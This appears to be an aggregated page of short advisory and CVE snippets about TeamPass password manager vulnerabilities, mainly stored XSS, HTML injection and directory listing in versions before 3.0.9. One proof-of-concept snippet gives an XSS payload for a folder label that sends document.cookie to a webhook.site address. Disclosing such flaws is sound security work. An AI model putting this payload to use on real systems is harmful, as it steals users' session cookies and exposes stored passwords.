The vulnerability of TeamPass’ password managers, related to inadequate access control, allows attackers to disclose sensitive information that should be protected.

The vulnerability of the TeamPass password manager is related to deficiencies in access control. Exploiting this vulnerability could allow a malicious actor, operating remotely, to disclose the protected information...

XSS Filter Bypass in Folder Name leading to Information Disclosure

Description Proof of Concept First, login to Teampass and go to the Folders tab. Create a new folder using Hex entities in the Label. In this case: scriptfetchhttpswebhooksitejlk documentcookiescript which is fetch'https://webhook.site/jlk/' + document.cookie Next, select the created folder and...

HTML Injection

teampass password manager is vulnerable to HTML injection .The vulnerability is due to lack of user input sanitisation while renaming a folder with user supplied folder name resulting in running malicious html when the same folder is accessed by other users including admin...

Cross Site Scripting (XSS)

teampass password manager is vulnerable to Stored XSS. The vulnerability is due to lack of sanitising user input while creating an item inside a folder which results in running malicious code when the same item is accessed by another user at later point in time...

Directory listing in multiple endpoints

Description Teampass has directory listing by default for various endpoints that eventually discloses application-specific and user data and files. Proof of Concept Visit the following endpoint without logging in to the application. Sensitive - https://127.0.0.1/includes configs -...

Stored XSS via Default session expiration time

Description The Default session expiration time feature when submitted HTML/JS tags executes the code in the login page. Proof of Concept Login to Teampass and go to Settings = Options. http://127.0.0.1/index.php?page=options In theDefault session expiration time input field insert an XSS payload...

GHSA-P7XM-G427-JXFC Teampass Cross-site Scripting vulnerability

In versions of nilsteampassnet/teampass prior to 3.0.9 some user input was not properly sanitized which may have lead to stored cross-site scripting XSS vectors in the application...

GHSA-QMW8-X364-XXXM Teampass Cross-site Scripting vulnerability

In versions of nilsteampassnet/teampass prior to 3.0.9 some user input was not properly sanitized which may have lead to stored cross-site scripting XSS vectors in the application...

Teampass Cross-site Scripting vulnerability

In versions of nilsteampassnet/teampass prior to 3.0.9 some user input was not properly sanitized which may have lead to stored cross-site scripting XSS vectors in the application...

Teampass Cross-site Scripting vulnerability

In versions of nilsteampassnet/teampass prior to 3.0.9 some user input was not properly sanitized which may have lead to stored cross-site scripting XSS vectors in the application...

CVE-2023-3191

Cross-site Scripting XSS - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9...

CVE-2023-3190

Improper Encoding or Escaping of Output in GitHub repository nilsteampassnet/teampass prior to 3.0.9...

CVE-2023-3190

Improper Encoding or Escaping of Output in GitHub repository nilsteampassnet/teampass prior to 3.0.9...

CVE-2023-3191

Cross-site Scripting XSS - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9...

Input validation

Improper Encoding or Escaping of Output in GitHub repository nilsteampassnet/teampass prior to 3.0.9...

CVE-2023-3191 Cross-site Scripting (XSS) - Stored in nilsteampassnet/teampass

Cross-site Scripting XSS - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9...

CVE-2023-3190 Improper Encoding or Escaping of Output in nilsteampassnet/teampass

Improper Encoding or Escaping of Output in GitHub repository nilsteampassnet/teampass prior to 3.0.9...

CVE-2023-3191

CVE-2023-3191 affects nilsteampassnet/teampass prior to 3.0.9. The issue is a stored XSS caused by user input not being properly sanitized in the application, enabling stored XSS vectors. Remediation: upgrade to 3.0.9 or later (as documented in PT-2023-23513 and related advisories). No exploitati...

CVE-2023-3190

CVE-2023-3190 affects nilsteampassnet/teampass prior to version 3.0.9 due to improper encoding/escaping of output. The vulnerability is described as enabling stored XSS vectors in the application (per OSV/GHSA entries). Impacts include potential manipulation of user input display; remediation is ...

TeamPass 跨站脚本漏洞

TeamPass is an open source password manager from the individual developer Nils Laumaillé. A cross-site scripting vulnerability exists in versions prior to TeamPass 3.0.9. An attacker could exploit this vulnerability to perform cross-site scripting XSS attacks...